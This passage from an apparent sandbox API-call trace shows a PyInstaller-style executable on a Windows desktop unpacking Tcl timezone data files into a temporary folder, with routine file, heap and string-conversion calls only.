dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.417] GetFileType (hFile=0x10c) returned 0x1 [0038.417] htonl (hostlong=0x47825800) returned 0x588247 [0038.418] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d3247, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.418] htonl (hostlong=0xd020000) returned 0x20d [0038.418] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20d) returned 0x550600 [0038.418] htonl (hostlong=0xd020000) returned 0x20d [0038.418] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.418] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.418] htonl (hostlong=0xf7070000) returned 0x7f7 [0038.418] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7f7) returned 0x55e278 [0038.418] htonl (hostlong=0xd020000) returned 0x20d [0038.418] htonl (hostlong=0xf7070000) returned 0x7f7 [0038.418] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.418] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.418] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.418] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.418] CloseHandle (hObject=0x10c) returned 1 [0038.418] GetLastError () returned 0x0 [0038.418] SetLastError (dwErrCode=0x0) [0038.418] GetLastError () returned 0x0 [0038.418] SetLastError (dwErrCode=0x0) [0038.418] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.418] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.418] GetFileType (hFile=0x10c) returned 0x1 [0038.418] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.418] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.418] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.418] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.419] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.419] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.419] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.419] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.419] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.419] CloseHandle (hObject=0x10c) returned 1 [0038.419] GetLastError () returned 0x0 [0038.419] SetLastError (dwErrCode=0x0) [0038.419] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.419] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.419] GetFileType (hFile=0x10c) returned 0x1 [0038.419] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.419] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.419] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.419] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.419] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.419] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.419] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.419] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.419] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.419] CloseHandle (hObject=0x10c) returned 1 [0038.419] GetLastError () returned 0x0 [0038.419] SetLastError (dwErrCode=0x0) [0038.420] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.420] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.420] GetFileType (hFile=0x10c) returned 0x1 [0038.420] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.420] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.420] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.420] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.420] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.420] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.420] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.420] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.420] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.420] CloseHandle (hObject=0x10c) returned 1 [0038.420] GetLastError () returned 0x0 [0038.420] SetLastError (dwErrCode=0x0) [0038.420] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina") returned 74 [0038.420] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.420] GetFileType (hFile=0x10c) returned 0x1 [0038.420] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.420] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.420] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.420] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.421] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.421] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.421] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.421] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.421] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.421] CloseHandle (hObject=0x10c) returned 1 [0038.421] GetLastError () returned 0x0 [0038.421] SetLastError (dwErrCode=0x0) [0038.421] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Catamarca") returned 84 [0038.421] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Catamarca" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\catamarca"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.421] GetLastError () returned 0x2 [0038.421] SetLastError (dwErrCode=0x2) [0038.421] GetLastError () returned 0x2 [0038.421] SetLastError (dwErrCode=0x2) [0038.421] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Catamarca", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Catamarca", lpFilePart=0x0) returned 0x53 [0038.421] GetLastError () returned 0x2 [0038.421] SetLastError (dwErrCode=0x2) [0038.421] GetLastError () returned 0x2 [0038.421] SetLastError (dwErrCode=0x2) [0038.421] GetLastError () returned 0x2 [0038.421] SetLastError (dwErrCode=0x2) [0038.421] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Catamarca") returned 84 [0038.421] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.421] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Catamarca" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\catamarca"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.424] GetFileType (hFile=0x10c) returned 0x1 [0038.424] htonl (hostlong=0xf7070000) returned 0x7f7 [0038.424] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.424] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x7f7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x7f7, lpOverlapped=0x0) returned 1 [0038.425] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.426] CloseHandle (hObject=0x10c) returned 1 [0038.426] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0038.426] htonl (hostlong=0x40000000) returned 0x40 [0038.426] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.426] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.426] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.426] GetFileType (hFile=0x10c) returned 0x1 [0038.426] htonl (hostlong=0x54845800) returned 0x588454 [0038.427] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d3454, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.427] htonl (hostlong=0x98000000) returned 0x98 [0038.427] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x98) returned 0x55cfe0 [0038.427] htonl (hostlong=0x98000000) returned 0x98 [0038.427] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.427] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.427] htonl (hostlong=0xed000000) returned 0xed [0038.427] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xed) returned 0x550600 [0038.427] htonl (hostlong=0x98000000) returned 0x98 [0038.427] htonl (hostlong=0xed000000) returned 0xed [0038.427] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.427] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.427] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.427] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.427] CloseHandle (hObject=0x10c) returned 1 [0038.427] GetLastError () returned 0x0 [0038.427] SetLastError (dwErrCode=0x0) [0038.427] GetLastError () returned 0x0 [0038.427] SetLastError (dwErrCode=0x0) [0038.427] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.427] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.427] GetFileType (hFile=0x10c) returned 0x1 [0038.427] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.427] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.427] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.427] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.427] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.428] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.428] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.428] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.428] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.428] CloseHandle (hObject=0x10c) returned 1 [0038.428] GetLastError () returned 0x0 [0038.428] SetLastError (dwErrCode=0x0) [0038.428] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.428] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.428] GetFileType (hFile=0x10c) returned 0x1 [0038.428] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.428] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.428] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.428] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.428] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.428] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.428] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.428] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.428] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.428] CloseHandle (hObject=0x10c) returned 1 [0038.428] GetLastError () returned 0x0 [0038.428] SetLastError (dwErrCode=0x0) [0038.429] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.429] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.429] GetFileType (hFile=0x10c) returned 0x1 [0038.429] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.429] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.429] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.429] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.429] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.429] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.429] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.429] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.429] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.429] CloseHandle (hObject=0x10c) returned 1 [0038.429] GetLastError () returned 0x0 [0038.429] SetLastError (dwErrCode=0x0) [0038.429] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina") returned 74 [0038.429] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.429] GetFileType (hFile=0x10c) returned 0x1 [0038.429] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.429] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.429] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.429] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.429] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.430] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.430] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.430] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.430] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.430] CloseHandle (hObject=0x10c) returned 1 [0038.430] GetLastError () returned 0x0 [0038.430] SetLastError (dwErrCode=0x0) [0038.430] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\ComodRivadavia") returned 89 [0038.430] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\ComodRivadavia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\comodrivadavia"), dwDesiredAccess=0x80, dwShareMode=0x7, 